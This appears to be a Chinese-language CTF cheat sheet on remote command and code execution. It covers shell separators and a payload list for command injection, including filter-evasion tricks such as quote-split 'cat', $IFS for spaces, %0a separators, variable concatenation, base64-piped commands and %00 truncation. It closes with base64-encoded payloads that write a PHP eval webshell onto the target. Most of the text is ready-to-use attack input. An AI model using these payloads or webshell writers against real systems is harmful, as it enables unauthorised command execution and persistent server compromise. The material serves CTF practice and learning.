RCE命令總結
RCE基礎知識點
rce分為遠程執行ping,和遠程代碼執行eval。
漏洞出現原因:未在輸入口做輸入處理。
涉及到ping命令:ping是windows,linux系統下的一個命令,ping也屬於一個通信協議,是TCP/IP協議的一部分,利用ping命令可以檢查網絡是否連通,可以很好的幫助我們分析和判定網絡故障。
LINUX系統的管道符:
1、” ; “: 執行完前面的語句在執行后面的語句。
2、” | “: 顯示后面的語句的執行結果。
3、” || “:當前的語句執行出錯時,執行后面的語句。
4、” & “:兩條命令都執行,如果前面語句為假則執行后面的語句,前面的語句可真可假。
5、” && “:如果前面的語句為假則直接出錯,也不執行后面的語句,前面的語句為真則執行兩條命令,前面的語句只能為真。
windows系統的管道符:
1、” | “ :是直接后面的執行語句
2、” || “ :如果前面的語句執行失敗,則執行后面的語句,前面的語句只能為假才能執行。
3、” & “ :兩條命令都執行,如果前面的語句為假則直接執行后面的語句,前面的語句可真可假。
4、” && “ :如果前面的語句為假則直接出錯,也不執行后面的語句,前面的語句為真則兩條命令都執行,前面的語句只能為真。
注:windows沒有“;”
RCE的過濾
命令注入
直接輸入127.0.0.1 & ls
ls就是列出當前目錄下所有文件
然后發現php文件,執行127.0.0.1 & cat flag.php。然后查看源代碼即可。
過濾cat
ca\t,ca''t,ca""t還是可以繼續執行cat的功能。
例如
執行127.0.0.1 & ca\t flag.php
查看網頁源代碼即可。
cat的代替
more
:一頁一頁的顯示檔案內容
less
:與 more 類似
head
:查看頭幾行
tac
:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示
tail:查看尾幾行
nl:顯示的時候,順便輸出行號
od:以二進制的方式讀取檔案內容
vi:一種編輯器,這個也可以查看
vim
:一種編輯器,這個也可以查看
sort:可以查看
uniq:可以查看
過濾空格
知識點:空格可以替換 <,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1
因為空格被過濾,所以
127.0.0.1&cat<flag.php
查看網頁源代碼就有答案了哈。
過濾運算符
運算符分號
可以用 %0a,%0d,%0D%0A替代。
變量
拼接
?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
base64編碼
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw
解碼為flag.php
內斂繞過!!!!
就是將反引號內命令的輸出作為輸入執行。
?ip=127.0.0.1;cat$IFS$1`ls`
會抓取ls返回的所有文件的內容
00截斷繞strpos函數
PHP5.2+可以用截斷漏洞(%00)繞過strpos檢驗函數
RCE寫入木馬
emmmm直接寫在這里被過濾了= =
我base64加密
了一下
命令執行寫入一句話木馬
ZWNobyAiPD9waHAgQGV2YWwoXCRfUE9TVFtcJ3Rlc3RcJ10pOz8+IiA+IDAwMC5waHA=
代碼執行寫入一句話木馬
P2E9ZmlsZV9wdXRfY29udGVudHMoJzU2Ni5waHAnLCc8P3BocCBAZXZhbCgkX1BPU1RbXCd0ZXN0XCddKTs/PicpOw==
c3lzdGVtKCdlY2hvICI8P3BocCBAZXZhbChcJF9QT1NUW1wndGVzdFwnXSk7Pz4iID4gNTUzLnBocCcpOw==
PS:登錄才可復制